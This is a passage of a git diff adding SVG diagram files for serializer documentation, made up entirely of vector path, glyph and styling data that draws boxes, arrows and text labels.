45.05 22.332422 L 49.05 22.332422 C 49.602344 22.332422 50.05 22.857422 50.05 23.504883 C 50.05 24.152539 49.602344 24.677344 49.05 24.677344 L 45.05 24.677344 C 44.497656 24.677344 44.05 24.152539 44.05 23.504883 C 44.05 22.857422 44.497656 22.332422 45.05 22.332422 Z M 45.05 22.332422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-15" x="908.992188" y="479.088379"/> + <use xlink:href="#glyph0-10" x="917.952962" y="479.088379"/> + <use xlink:href="#glyph0-7" x="926.344889" y="479.088379"/> + <use xlink:href="#glyph0-16" x="933.212836" y="479.088379"/> + <use xlink:href="#glyph0-2" x="942.051812" y="479.088379"/> + <use xlink:href="#glyph0-5" x="950.830024" y="479.088379"/> + <use xlink:href="#glyph0-7" x="959.75038" y="479.088379"/> + <use xlink:href="#glyph0-10" x="966.618327" y="479.088379"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(92.54902%,74.509805%,75.294119%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 2.3 21.932422 C 2.134375 21.932422 2 22.066797 2 22.232422 L 2 24.817773 C 2 24.983398 2.134375 25.117773 2.3 25.117773 L 11.7 25.117773 C 11.865625 25.117773 12 24.983398 12 24.817773 L 12 22.232422 C 12 22.066797 11.865625 21.932422 11.7 21.932422 Z M 2.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="51.546875" y="479.490723"/> + <use xlink:href="#glyph0-5" x="60.325087" y="479.490723"/> + <use xlink:href="#glyph0-17" x="69.245443" y="479.490723"/> + <use xlink:href="#glyph0-8" x="78.856717" y="479.490723"/> + <use xlink:href="#glyph0-18" x="87.675618" y="479.490723"/> + <use xlink:href="#glyph0-19" x="93.263455" y="479.490723"/> + <use xlink:href="#glyph0-10" x="102.204156" y="479.490723"/> + <use xlink:href="#glyph0-5" x="110.596083" y="479.490723"/> + <use xlink:href="#glyph0-18" x="119.516439" y="479.490723"/> + <use xlink:href="#glyph0-4" x="125.104275" y="479.490723"/> + <use xlink:href="#glyph0-9" x="129.513726" y="479.490723"/> + <use xlink:href="#glyph0-12" x="136.747613" y="479.490723"/> + <use xlink:href="#glyph0-18" x="144.875597" y="479.490723"/> + <use xlink:href="#glyph0-4" x="150.463433" y="479.490723"/> + <use xlink:href="#glyph0-2" x="154.872884" y="479.490723"/> + <use xlink:href="#glyph0-5" x="163.651096" y="479.490723"/> + <use xlink:href="#glyph0-20" x="172.571452" y="479.490723"/> + <use xlink:href="#glyph0-12" x="180.963379" y="479.490723"/> + <use xlink:href="#glyph0-4" x="189.091363" y="479.490723"/> + <use xlink:href="#glyph0-13" x="193.500814" y="479.490723"/> + <use xlink:href="#glyph0-8" x="198.235243" y="479.490723"/> + <use xlink:href="#glyph0-14" x="207.054145" y="479.490723"/> + <use xlink:href="#glyph0-10" x="212.621636" y="479.490723"/> + <use xlink:href="#glyph0-21" x="221.013563" y="479.490723"/> + <use xlink:href="#glyph0-22" x="225.747993" y="479.490723"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 7 14.932422 L 7 21.382422 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75 21.382422 L 7 21.882422 L 7.25 21.382422 Z M 6.75 21.382422 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 1 3.932422 L 54 3.932422 L 54 14.932422 L 1 14.932422 Z M 1 3.932422 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.3 4.932422 C 3.134375 4.932422 3 5.066797 3 5.232422 L 3 7.817773 C 3 7.983398 3.134375 8.117773 3.3 8.117773 L 10.752539 8.117773 C 10.918164 8.117773 11.052539 7.983398 11.052539 7.817773 L 11.052539 5.232422 C 11.052539 5.066797 10.918164 4.932422 10.752539 4.932422 Z M 3.3 4.932422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-12" x="92.8125" y="139.490723"/> + <use xlink:href="#glyph0-8" x="100.940484" y="139.490723"/> + <use xlink:href="#glyph0-18" x="109.759386" y="139.490723"/> + <use xlink:href="#glyph0-19" x="115.347222" y="139.490723"/> + <use xlink:href="#glyph0-10" x="124.287923" y="139.490723"/> + <use xlink:href="#glyph0-5" x="132.67985" y="139.490723"/> + <use xlink:href="#glyph0-18" x="141.600206" y="139.490723"/> + <use xlink:href="#glyph0-4" x="147.188043" y="139.490723"/> + <use xlink:href="#glyph0-9" x="151.597493" y="139.490723"/> + <use xlink:href="#glyph0-12" x="158.83138" y="139.490723"/> + <use xlink:href="#glyph0-18" x="166.959364" y="139.490723"/> + <use xlink:href="#glyph0-10" x="172.38444" y="139.490723"/> + <use xlink:href="#glyph0-21" x="180.776367" y="139.490723"/> + <use xlink:href="#glyph0-22" x="185.510796" y="139.490723"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 10.932422 C 4.134375 10.932422 4 11.066797 4 11.232422 L 4 13.817773 C 4 13.983398 4.134375 14.117773 4.3 14.117773 L 9.7 14.117773 C 9.865625 14.117773 10 13.983398 10 13.817773 L 10 11.232422 C 10 11.066797 9.865625 10.932422 9.7 10.932422 Z M 4.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-23" x="88.324219" y="259.490723"/> + <use xlink:href="#glyph0-19" x="97.630588" y="259.490723"/> + <use xlink:href="#glyph0-10" x="106.571289" y="259.490723"/> + <use xlink:href="#glyph0-9" x="114.800456" y="259.490723"/> + <use xlink:href="#glyph0-24" x="122.034342" y="259.490723"/> + <use xlink:href="#glyph0-6" x="129.430718" y="259.490723"/> + <use xlink:href="#glyph0-16" x="133.738444" y="259.490723"/> + <use xlink:href="#glyph0-12" x="142.57742" y="259.490723"/> + <use xlink:href="#glyph0-7" x="150.705404" y="259.490723"/> + <use xlink:href="#glyph0-7" x="157.573351" y="259.490723"/> + <use xlink:href="#glyph0-16" x="164.441298" y="259.490723"/> + <use xlink:href="#glyph0-2" x="173.280273" y="259.490723"/> + <use xlink:href="#glyph0-14" x="182.058485" y="259.490723"/> + <use xlink:href="#glyph0-18" x="188.113444" y="259.490723"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.3 10.932422 C 24.134375 10.932422 24 11.066797 24 11.232422 L 24 13.817773 C 24 13.983398 24.134375 14.117773 24.3 14.117773 L 29.7 14.117773 C 29.865625 14.117773 30 13.983398 30 13.817773 L 30 11.232422 C 30 11.066797 29.865625 10.932422 29.7 10.932422 Z M 24.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-17" x="489.339844" y="246.791504"/> + <use xlink:href="#glyph0-8" x="498.951118" y="246.791504"/> + <use xlink:href="#glyph0-18" x="507.77002" y="246.791504"/> + <use xlink:href="#glyph0-19" x="513.357856" y="246.791504"/> + <use xlink:href="#glyph0-10" x="522.298557" y="246.791504"/> + <use xlink:href="#glyph0-5" x="530.690484" y="246.791504"/> + <use xlink:href="#glyph0-18" x="539.61084" y="246.791504"/> + <use xlink:href="#glyph0-4" x="545.198676" y="246.791504"/> + <use xlink:href="#glyph0-9" x="549.608127" y="246.791504"/> + <use xlink:href="#glyph0-12" x="556.842014" y="246.791504"/> + <use xlink:href="#glyph0-18" x="564.969998" y="246.791504"/> + <use xlink:href="#glyph0-4" x="570.557834" y="246.791504"/> + <use xlink:href="#glyph0-2" x="574.967285" y="246.791504"/> + <use xlink:href="#glyph0-5" x="583.745497" y="246.791504"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-18" x="493.285156" y="272.189941"/> + <use xlink:href="#glyph0-2" x="498.710232" y="272.189941"/> + <use xlink:href="#glyph0-24" x="507.488444" y="272.189941"/> + <use xlink:href="#glyph0-10" x="515.169108" y="272.189941"/> + <use xlink:href="#glyph0-5" x="523.561035" y="272.189941"/> + <use xlink:href="#glyph0-6" x="532.481391" y="272.189941"/> + <use xlink:href="#glyph0-9" x="536.789117" y="272.189941"/> + <use xlink:href="#glyph0-14" x="544.023003" y="272.189941"/> + <use xlink:href="#glyph0-10" x="549.590495" y="272.189941"/> + <use xlink:href="#glyph0-12" x="557.982422" y="272.189941"/> + <use xlink:href="#glyph0-18" x="566.110406" y="272.189941"/> + <use xlink:href="#glyph0-10" x="571.535482" y="272.189941"/> + <use xlink:href="#glyph0-25" x="579.927409" y="272.189941"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.3 10.932422 C 33.134375 10.932422 33 11.066797 33 11.232422 L 33 13.817773 C 33 13.983398 33.134375 14.117773 33.3 14.117773 L 38.7 14.117773 C 38.865625 14.117773 39 13.983398 39 13.817773 L 39 11.232422 C 39 11.066797 38.865625 10.932422 38.7 10.932422 Z M 33.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-17" x="669.339844" y="246.791504"/> + <use xlink:href="#glyph0-8" x="678.951118" y="246.791504"/> + <use xlink:href="#glyph0-18" x="687.77002" y="246.791504"/> + <use xlink:href="#glyph0-19" x="693.357856" y="246.791504"/> + <use xlink:href="#glyph0-10" x="702.298557" y="246.791504"/> + <use xlink:href="#glyph0-5" x="710.690484" y="246.791504"/> + <use xlink:href="#glyph0-18" x="719.61084" y="246.791504"/> + <use xlink:href="#glyph0-4" x="725.198676" y="246.791504"/> + <use xlink:href="#glyph0-9" x="729.608127" y="246.791504"/> + <use xlink:href="#glyph0-12" x="736.842014" y="246.791504"/> + <use xlink:href="#glyph0-18" x="744.969998" y="246.791504"/> + <use xlink:href="#glyph0-4" x="750.557834" y="246.791504"/> + <use xlink:href="#glyph0-2" x="754.967285" y="246.791504"/> + <use xlink:href="#glyph0-5" x="763.745497" y="246.791504"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-7" x="695.21875" y="272.189941"/> + <use xlink:href="#glyph0-8" x="702.086697" y="272.189941"/> + <use xlink:href="#glyph0-9" x="710.905599" y="272.189941"/> + <use xlink:href="#glyph0-9" x="717.793891" y="272.189941"/> + <use xlink:href="#glyph0-10" x="724.682183" y="272.189941"/> + <use xlink:href="#glyph0-7" x="733.07411" y="272.189941"/> + <use xlink:href="#glyph0-7" x="739.942057" y="272.189941"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.75 0.7375 L 8.95 0.7375 C 9.529883 0.7375 10 1.2625 10 1.909961 C 10 2.557422 9.529883 3.082422 8.95 3.082422 L 4.75 3.082422 C 4.170117 3.082422 3.7 2.557422 3.7 1.909961 C 3.7 1.2625 4.170117 0.7375 4.75 0.7375 Z M 4.75 0.7375 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-15" x="110.1875" y="47.186035"/> + <use xlink:href="#glyph0-10" x="119.148275" y="47.186035"/> + <use xlink:href="#glyph0-26" x="127.377441" y="47.186035"/> + <use xlink:href="#glyph0-8" x="136.155653" y="47.186035"/> + <use xlink:href="#glyph0-10" x="144.974555" y="47.186035"/> + <use xlink:href="#glyph0-7" x="153.366482" y="47.186035"/> + <use xlink:href="#glyph0-18" x="160.234429" y="47.186035"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13.3 10.932422 C 13.134375 10.932422 13 11.066797 13 11.232422 L 13 13.817773 C 13 13.983398 13.134375 14.117773 13.3 14.117773 L 20.752539 14.117773 C 20.918164 14.117773 21.052539 13.983398 21.052539 13.817773 L 21.052539 11.232422 C 21.052539 11.066797 20.918164 10.932422 20.752539 10.932422 Z M 13.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-9" x="294.84375" y="259.490723"/> + <use xlink:href="#glyph0-14" x="302.077637" y="259.490723"/> + <use xlink:href="#glyph0-10" x="307.645128" y="259.490723"/> + <use xlink:href="#glyph0-12" x="316.037055" y="259.490723"/> + <use xlink:href="#glyph0-18" x="324.165039" y="259.490723"/> + <use xlink:href="#glyph0-10" x="329.590115" y="259.490723"/> + <use xlink:href="#glyph0-27" x="337.982042" y="259.490723"/> + <use xlink:href="#glyph0-2" x="344.971788" y="259.490723"/> + <use xlink:href="#glyph0-24" x="353.75" y="259.490723"/> + <use xlink:href="#glyph0-10" x="361.430664" y="259.490723"/> + <use xlink:href="#glyph0-5" x="369.822591" y="259.490723"/> + <use xlink:href="#glyph0-21" x="378.742947" y="259.490723"/> + <use xlink:href="#glyph0-22" x="383.477376" y="259.490723"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.3 10.932422 C 42.134375 10.932422 42 11.066797 42 11.232422 L 42 13.817773 C 42 13.983398 42.134375 14.117773 42.3 14.117773 L 51.7 14.117773 C 51.865625 14.117773 52 13.983398 52 13.817773 L 52 11.232422 C 52 11.066797 51.865625 10.932422 51.7 10.932422 Z M 42.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="849.046875" y="259.490723"/> + <use xlink:href="#glyph0-5" x="857.825087" y="259.490723"/> + <use xlink:href="#glyph0-17" x="866.745443" y="259.490723"/> + <use xlink:href="#glyph0-8" x="876.356717" y="259.490723"/> + <use xlink:href="#glyph0-18" x="885.175618" y="259.490723"/> + <use xlink:href="#glyph0-19" x="890.763455" y="259.490723"/> + <use xlink:href="#glyph0-10" x="899.704156" y="259.490723"/> + <use xlink:href="#glyph0-5" x="908.096083" y="259.490723"/> + <use xlink:href="#glyph0-18" x="917.016439" y="259.490723"/> + <use xlink:href="#glyph0-4" x="922.604275" y="259.490723"/> + <use xlink:href="#glyph0-9" x="927.013726" y="259.490723"/> + <use xlink:href="#glyph0-12" x="934.247613" y="259.490723"/> + <use xlink:href="#glyph0-18" x="942.375597" y="259.490723"/> + <use xlink:href="#glyph0-4" x="947.963433" y="259.490723"/> + <use xlink:href="#glyph0-2" x="952.372884" y="259.490723"/> + <use xlink:href="#glyph0-5" x="961.151096" y="259.490723"/> + <use xlink:href="#glyph0-28" x="970.071452" y="259.490723"/> + <use xlink:href="#glyph0-8" x="978.768283" y="259.490723"/> + <use xlink:href="#glyph0-9" x="987.587185" y="259.490723"/> + <use xlink:href="#glyph0-9" x="994.475477" y="259.490723"/> + <use xlink:href="#glyph0-10" x="1001.36377" y="259.490723"/> + <use xlink:href="#glyph0-7" x="1009.755697" y="259.490723"/> + <use xlink:href="#glyph0-7" x="1016.623644" y="259.490723"/> + <use xlink:href="#glyph0-21" x="1023.491591" y="259.490723"/> + <use xlink:href="#glyph0-22" x="1028.22602" y="259.490723"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.89668 3.131836 L 6.942578 4.333789 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.692773 4.343359 L 6.961719 4.833398 L 7.192383 4.324414 Z M 6.692773 4.343359 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.019141 8.167187 L 7.00957 10.333008 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75957 10.332031 L 7.007422 10.833008 L 7.25957 10.33418 Z M 6.75957 10.332031 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.050195 12.525195 L 12.4 12.525195 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.4 12.775195 L 12.9 12.525195 L 12.4 12.275195 Z M 12.4 12.775195 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.102734 12.525195 L 23.399805 12.525195 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.399805 12.775195 L 23.899805 12.525195 L 23.399805 12.275195 Z M 23.399805 12.775195 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.050391 12.525195 L 32.399609 12.525195 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 32.399609 12.775195 L 32.899609 12.525195 L 32.399609 12.275195 Z M 32.399609 12.775195 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.029297 12.525195 L 41.400586 12.525195 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.400586 12.775195 L 41.900586 12.525195 L 41.400586 12.275195 Z M 41.400586 12.775195 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47 14.167188 L 47 16.333008 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.75 16.333008 L 47 16.833008 L 47.25 16.333008 Z M 46.75 16.333008 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.049414 23.525195 L 14.420703 23.525195 " transform="matrix(20,0,0,20,1,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 14.420703 23.775195 L 14.920703 23.525195 L 14.420703 23.275195 Z M 14.420703 23.775195 " transform="matrix(20,0,0,20,1,1)"/> +</g> +</svg> diff --git a/_images/serializer/serializer_workflow.svg b/_images/serializer/serializer_workflow.svg new file mode 100644 index 00000000000..b6e9c254778 --- /dev/null +++ b/_images/serializer/serializer_workflow.svg @@ -0,0 +1,283 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="498pt" height="404pt" viewBox="0 0 498 404" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 3.59375 L 1.015625 -14.328125 L 11.171875 -14.328125 L 11.171875 3.59375 Z M 2.15625 2.46875 L 10.046875 2.46875 L 10.046875 -13.1875 L 2.15625 -13.1875 Z M 2.15625 2.46875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 6.953125 -12.84375 L 4.234375 -5.46875 L 9.671875 -5.46875 Z M 5.8125 -14.8125 L 8.09375 -14.8125 L 13.734375 0 L 11.65625 0 L 10.296875 -3.796875 L 3.625 -3.796875 L 2.265625 0 L 0.15625 0 Z M 5.8125 -14.8125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 8.359375 -9.40625 C 8.148438 -9.53125 7.925781 -9.617188 7.6875 -9.671875 C 7.445312 -9.722656 7.179688 -9.75 6.890625 -9.75 C 5.859375 -9.75 5.066406 -9.410156 4.515625 -8.734375 C 3.960938 -8.066406 3.6875 -7.109375 3.6875 -5.859375 L 3.6875 0 L 1.84375 0 L 1.84375 -11.109375 L 3.6875 -11.109375 L 3.6875 -9.390625 C 4.070312 -10.066406 4.570312 -10.566406 5.1875 -10.890625 C 5.800781 -11.222656 6.546875 -11.390625 7.421875 -11.390625 C 7.546875 -11.390625 7.679688 -11.378906 7.828125 -11.359375 C 7.984375 -11.335938 8.15625 -11.3125 8.34375 -11.28125 Z M 8.359375 -9.40625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 6.96875 -5.59375 C 5.488281 -5.59375 4.460938 -5.421875 3.890625 -5.078125 C 3.328125 -4.742188 3.046875 -4.171875 3.046875 -3.359375 C 3.046875 -2.703125 3.257812 -2.179688 3.6875 -1.796875 C 4.113281 -1.421875 4.691406 -1.234375 5.421875 -1.234375 C 6.441406 -1.234375 7.253906 -1.59375 7.859375 -2.3125 C 8.472656 -3.03125 8.78125 -3.988281 8.78125 -5.1875 L 8.78125 -5.59375 Z M 10.609375 -6.34375 L 10.609375 0 L 8.78125 0 L 8.78125 -1.6875 C 8.363281 -1.007812 7.84375 -0.507812 7.21875 -0.1875 C 6.601562 0.125 5.84375 0.28125 4.9375 0.28125 C 3.800781 0.28125 2.894531 -0.0351562 2.21875 -0.671875 C 1.550781 -1.304688 1.21875 -2.160156 1.21875 -3.234375 C 1.21875 -4.484375 1.632812 -5.425781 2.46875 -6.0625 C 3.3125 -6.695312 4.5625 -7.015625 6.21875 -7.015625 L 8.78125 -7.015625 L 8.78125 -7.203125 C 8.78125 -8.035156 8.503906 -8.679688 7.953125 -9.140625 C 7.398438 -9.609375 6.625 -9.84375 5.625 -9.84375 C 4.988281 -9.84375 4.367188 -9.765625 3.765625 -9.609375 C 3.171875 -9.453125 2.59375 -9.222656 2.03125 -8.921875 L 2.03125 -10.609375 C 2.695312 -10.867188 3.34375 -11.0625 3.96875 -11.1875 C 4.601562 -11.320312 5.21875 -11.390625 5.8125 -11.390625 C 7.425781 -11.390625 8.628906 -10.972656 9.421875 -10.140625 C 10.210938 -9.304688 10.609375 -8.039062 10.609375 -6.34375 Z M 10.609375 -6.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 6.546875 1.03125 C 6.023438 2.351562 5.519531 3.21875 5.03125 3.625 C 4.539062 4.03125 3.882812 4.234375 3.0625 4.234375 L 1.609375 4.234375 L 1.609375 2.703125 L 2.6875 2.703125 C 3.1875 2.703125 3.570312 2.582031 3.84375 2.34375 C 4.125 2.101562 4.4375 1.539062 4.78125 0.65625 L 5.109375 -0.171875 L 0.609375 -11.109375 L 2.546875 -11.109375 L 6.015625 -2.421875 L 9.484375 -11.109375 L 11.421875 -11.109375 Z M 6.546875 1.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 9.234375 -9.421875 L 9.234375 -15.4375 L 11.0625 -15.4375 L 11.0625 0 L 9.234375 0 L 9.234375 -1.671875 C 8.847656 -1.003906 8.363281 -0.507812 7.78125 -0.1875 C 7.195312 0.125 6.492188 0.28125 5.671875 0.28125 C 4.328125 0.28125 3.234375 -0.25 2.390625 -1.3125 C 1.546875 -2.382812 1.125 -3.796875 1.125 -5.546875 C 1.125 -7.296875 1.546875 -8.707031 2.390625 -9.78125 C 3.234375 -10.851562 4.328125 -11.390625 5.671875 -11.390625 C 6.492188 -11.390625 7.195312 -11.226562 7.78125 -10.90625 C 8.363281 -10.582031 8.847656 -10.085938 9.234375 -9.421875 Z M 3 -5.546875 C 3 -4.203125 3.273438 -3.144531 3.828125 -2.375 C 4.390625 -1.613281 5.148438 -1.234375 6.109375 -1.234375 C 7.078125 -1.234375 7.835938 -1.613281 8.390625 -2.375 C 8.953125 -3.144531 9.234375 -4.203125 9.234375 -5.546875 C 9.234375 -6.890625 8.953125 -7.941406 8.390625 -8.703125 C 7.835938 -9.472656 7.078125 -9.859375 6.109375 -9.859375 C 5.148438 -9.859375 4.390625 -9.472656 3.828125 -8.703125 C 3.273438 -7.941406 3 -6.890625 3 -5.546875 Z M 3 -5.546875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 11.421875 -6.015625 L 11.421875 -5.125 L 3.03125 -5.125 C 3.101562 -3.863281 3.476562 -2.90625 4.15625 -2.25 C 4.84375 -1.59375 5.789062 -1.265625 7 -1.265625 C 7.695312 -1.265625 8.375 -1.347656 9.03125 -1.515625 C 9.695312 -1.691406 10.351562 -1.953125 11 -2.296875 L 11 -0.5625 C 10.34375 -0.289062 9.671875 -0.0820312 8.984375 0.0625 C 8.296875 0.207031 7.597656 0.28125 6.890625 0.28125 C 5.117188 0.28125 3.710938 -0.234375 2.671875 -1.265625 C 1.640625 -2.296875 1.125 -3.691406 1.125 -5.453125 C 1.125 -7.265625 1.613281 -8.707031 2.59375 -9.78125 C 3.570312 -10.851562 4.898438 -11.390625 6.578125 -11.390625 C 8.066406 -11.390625 9.242188 -10.90625 10.109375 -9.9375 C 10.984375 -8.976562 11.421875 -7.671875 11.421875 -6.015625 Z M 9.59375 -6.546875 C 9.582031 -7.546875 9.300781 -8.34375 8.75 -8.9375 C 8.207031 -9.539062 7.488281 -9.84375 6.59375 -9.84375 C 5.570312 -9.84375 4.753906 -9.550781 4.140625 -8.96875 C 3.523438 -8.394531 3.175781 -7.585938 3.09375 -6.546875 Z M 9.59375 -6.546875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 9 -10.796875 L 9 -9.0625 C 8.488281 -9.320312 7.953125 -9.519531 7.390625 -9.65625 C 6.835938 -9.789062 6.265625 -9.859375 5.671875 -9.859375 C 4.765625 -9.859375 4.082031 -9.71875 3.625 -9.4375 C 3.175781 -9.15625 2.953125 -8.738281 2.953125 -8.1875 C 2.953125 -7.757812 3.113281 -7.425781 3.4375 -7.1875 C 3.757812 -6.945312 